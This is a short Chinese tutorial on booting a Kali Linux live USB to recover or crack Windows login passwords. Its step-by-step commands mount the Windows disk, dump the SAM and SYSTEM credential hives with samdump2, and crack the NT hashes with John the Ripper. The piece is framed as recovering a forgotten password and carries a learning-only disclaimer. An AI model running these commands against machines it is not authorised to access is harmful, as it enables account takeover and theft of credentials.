使用kali Linux启动盘轻松破解Windows电脑密码
破解分析文章仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。谢谢！！
效果展示：
使用kali Linux可以轻松破解Windows用户及密码
准备阶段：
（1）准备一个kali Linux的启动盘
（2）准备一个已经遗忘登录密码的电脑
1.开机按电脑快捷键进入到启动盘‘f2’（每个品牌的开机键都不一样大家可自行上网查看）
2.选择第一个live模式回车进入到kali系统
#kali Linux的启动界面还是非常炫酷
3.进入到命令行进行挂载
#提升权限切换至root管理员
sudo su - root查看磁盘分区
lsblk#找到C盘编号
挂载磁盘至/mnt目录
mount /dev/nvme0n1p2 /mnt
4.找到Windows存放用户密码的文件
cd /mnt/Windows/System32/config
ls SYSTEM SAM
5.使用自带命令samdump2 提取Windows用户的密码hash值
samdump2 SYSTEM SAM > /root/sam.hash
cat /root/sam.hash#这个就是它的用户及密码只不过是以密文的方式进行显示
6.使用John命令破解密码哈希值
john sam.hash --format=NT##密码破解成功
7.拔掉kali启动盘，使用刚破解出的密码开始初次登录测试
判断是否可以成功进入到系统
